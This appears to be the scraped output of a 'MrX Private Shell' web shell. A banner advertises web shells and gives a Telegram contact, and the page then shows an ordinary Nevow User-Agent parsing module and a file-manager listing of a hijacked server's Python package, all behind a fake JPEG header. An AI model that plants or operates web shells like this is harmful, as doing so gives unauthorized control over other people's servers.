����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- test-case-name: nevow.test.test_useragent -*-
"""
Parsers for browser User-Agent strings.
http://en.wikipedia.org/wiki/User_agent
http://www.user-agents.org/
"""
# Internet Explorer 1.0
# Microsoft Internet Explorer/Version (Platform)
# Internet Explorer, and browsers cloaking as Internet Explorer
# Mozilla/MozVer (compatible; MSIE IEVer[; Provider]; Platform[; Extension]*) [Addition]
# MozVer
# Netscape < 6.0
# Mozilla/Version[Gold] [[Language]][Provider] (Platform; Security[; SubPlatform][StandAlone])
# Mozilla
# Mozilla/MozVer (Platform; Security; SubPlatform; Language; rv:Revision[; Extension]*) Gecko/GeckVer [Product/ProdVer]
# Opera
# Opera/Version (Platform; U) [Language]
class browsers(object):
"""
Namespace class for Browser identifiers.
"""
GECKO = u'gecko'
INTERNET_EXPLORER = u'internet explorer'
WEBKIT = u'webkit'
OPERA = u'opera'
class UserAgent(object):
"""
Structured representation of a version identifier of a web browser.
This presents only minimal structured information about the agent
currently. It could be expanded to include much more information, such a
security properties, platform, and native language.
@type browser: C{unicode}
@ivar browser: The broad category of the browser. Can only take on values
from L{browsers}.
@type version: C{str}
@ivar version: The version claimed by the browser.
"""
def __init__(self, browser, version):
"""
Initialize a new UserAgent.
The positions of the arguments to this initializer are not stable.
Only pass arguments by keyword.
"""
self.browser = browser
self.version = version
def parse_GECKO(cls, agentString):
"""
Attempt to parse the given User-Agent string as a Gecko-based browser's
user-agent.
"""
identifier = 'Gecko/'
start = agentString.find(identifier)
if start != -1:
end = agentString.find(' ', start)
if end == -1:
end = None
version = agentString[start + len(identifier):end]
try:
version = int(version)
except ValueError:
pass
else:
return cls(browsers.GECKO, (version,))
parse_GECKO = classmethod(parse_GECKO)
def parse_WEBKIT(cls, agentString):
"""
Attempt to parse the given User-Agent string as a WebKit-based
browser's user-agent.
"""
identifier = 'WebKit/'
start = agentString.find(identifier)
if start != -1:
end = start + len(identifier)
while (
end < len(agentString) and
agentString[end].isdigit() or
agentString[end] == '.'):
end += 1
version = agentString[start + len(identifier):end]
try:
version = map(int, version.split('.'))
except ValueError:
pass
else:
return cls(browsers.WEBKIT, tuple(version))
parse_WEBKIT = classmethod(parse_WEBKIT)
def parse_OPERA(cls, agentString):
"""
Attempt to parse an Opera user-agent.
"""
prefix = 'Opera/'
if agentString.startswith(prefix):
version = agentString[len(prefix):].split(None, 1)[0]
try:
version = map(int, version.split('.'))
except ValueError:
pass
else:
return cls(browsers.OPERA, tuple(version))
parse_OPERA = classmethod(parse_OPERA)
def parse_MSIE(cls, agentString):
"""
Attempt to parse an Internet Explorer user-agent.
"""
oldPrefix = 'Mozilla/4.0 (compatible; MSIE '
newPrefix = 'Mozilla/5.0 (compatible; MSIE '
for prefix in oldPrefix, newPrefix:
if agentString.startswith(prefix):
end = agentString.find(';', len(prefix))
if end == -1:
end = None
version = agentString[len(prefix):end]
try:
version = map(int, version.split('.'))
except ValueError:
pass
else:
return cls(browsers.INTERNET_EXPLORER, tuple(version))
parse_MSIE = classmethod(parse_MSIE)
def fromHeaderValue(cls, agentString):
"""
Attempt to parse an arbitrary user-agent.
@rtype: C{cls} or C{NoneType}
@return: A user agent object, or C{None} if parsing fails.
"""
# Order matters here - MSIE parser will match a ton of browsers.
for parser in ['GECKO', 'WEBKIT', 'MSIE', 'OPERA']:
agent = getattr(cls, 'parse_' + parser)(agentString)
if agent is not None:
return agent
return None
fromHeaderValue = classmethod(fromHeaderValue)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| athena_private | Folder | 0755 |
|
|
| css | Folder | 0755 |
|
|
| flat | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| livetrial | Folder | 0755 |
|
|
| plugins | Folder | 0755 |
|
|
| scripts | Folder | 0755 |
|
|
| taglibrary | Folder | 0755 |
|
|
| test | Folder | 0755 |
|
|
| Canvas.fla | File | 36.5 KB | 0775 |
|
| Canvas.swf | File | 5.61 KB | 0664 |
|
| __init__.py | File | 13.85 KB | 0644 |
|
| __init__.pyc | File | 14.41 KB | 0644 |
|
| _flat.py | File | 19.63 KB | 0644 |
|
| _flat.pyc | File | 19.03 KB | 0644 |
|
| _version.py | File | 537 B | 0644 |
|
| _version.pyc | File | 676 B | 0644 |
|
| _widget_plugin.py | File | 3.34 KB | 0644 |
|
| _widget_plugin.pyc | File | 5.32 KB | 0644 |
|
| accessors.py | File | 3.68 KB | 0644 |
|
| accessors.pyc | File | 6.22 KB | 0644 |
|
| appserver.py | File | 17.58 KB | 0644 |
|
| appserver.pyc | File | 22.34 KB | 0644 |
|
| athena.py | File | 65.41 KB | 0644 |
|
| athena.pyc | File | 75.71 KB | 0644 |
|
| blocks.py | File | 6.13 KB | 0644 |
|
| blocks.pyc | File | 7.16 KB | 0644 |
|
| canvas.as | File | 6.55 KB | 0775 |
|
| canvas.py | File | 15.12 KB | 0644 |
|
| canvas.pyc | File | 23.64 KB | 0644 |
|
| compression.py | File | 6.15 KB | 0644 |
|
| compression.pyc | File | 9.18 KB | 0644 |
|
| compy.py | File | 2.29 KB | 0644 |
|
| compy.pyc | File | 2.92 KB | 0644 |
|
| context.py | File | 11.25 KB | 0644 |
|
| context.pyc | File | 12.77 KB | 0644 |
|
| dirlist.py | File | 4.51 KB | 0644 |
|
| dirlist.pyc | File | 4.88 KB | 0644 |
|
| empty-module.css | File | 0 B | 0664 |
|
| empty-module.js | File | 0 B | 0664 |
|
| entities.py | File | 11.3 KB | 0644 |
|
| entities.pyc | File | 14.99 KB | 0644 |
|
| errors.py | File | 1.29 KB | 0644 |
|
| errors.pyc | File | 2.39 KB | 0644 |
|
| events.py | File | 1.45 KB | 0644 |
|
| events.pyc | File | 2.48 KB | 0644 |
|
| failure.py | File | 6.51 KB | 0644 |
|
| failure.pyc | File | 7.57 KB | 0644 |
|
| guard.py | File | 21.07 KB | 0644 |
|
| guard.pyc | File | 23.02 KB | 0644 |
|
| i18n.py | File | 5.95 KB | 0644 |
|
| i18n.pyc | File | 7.41 KB | 0644 |
|
| inevow.py | File | 21.94 KB | 0644 |
|
| inevow.pyc | File | 36.34 KB | 0644 |
|
| itaglibrary.py | File | 82 B | 0644 |
|
| itaglibrary.pyc | File | 491 B | 0644 |
|
| json.py | File | 8.3 KB | 0644 |
|
| json.pyc | File | 13.49 KB | 0644 |
|
| jsutil.py | File | 3.83 KB | 0644 |
|
| jsutil.pyc | File | 4.22 KB | 0644 |
|
| loaders.py | File | 7.06 KB | 0644 |
|
| loaders.pyc | File | 8.33 KB | 0644 |
|
| page.py | File | 4.51 KB | 0644 |
|
| page.pyc | File | 5.58 KB | 0644 |
|
| query.py | File | 3.37 KB | 0644 |
|
| query.pyc | File | 6.17 KB | 0644 |
|
| rend.py | File | 29.16 KB | 0644 |
|
| rend.pyc | File | 36.3 KB | 0644 |
|
| stan.py | File | 20.95 KB | 0644 |
|
| stan.pyc | File | 29.03 KB | 0644 |
|
| static.py | File | 13.16 KB | 0644 |
|
| static.pyc | File | 16.45 KB | 0644 |
|
| tags.py | File | 1.91 KB | 0644 |
|
| tags.pyc | File | 2.72 KB | 0644 |
|
| testutil.py | File | 17.34 KB | 0644 |
|
| testutil.pyc | File | 26.98 KB | 0644 |
|
| url.py | File | 20.12 KB | 0644 |
|
| url.pyc | File | 25.41 KB | 0644 |
|
| useragent.py | File | 4.86 KB | 0644 |
|
| useragent.pyc | File | 4.88 KB | 0644 |
|
| util.py | File | 7.01 KB | 0644 |
|
| util.pyc | File | 9.55 KB | 0644 |
|
| vhost.py | File | 7.01 KB | 0644 |
|
| vhost.pyc | File | 9.45 KB | 0644 |
|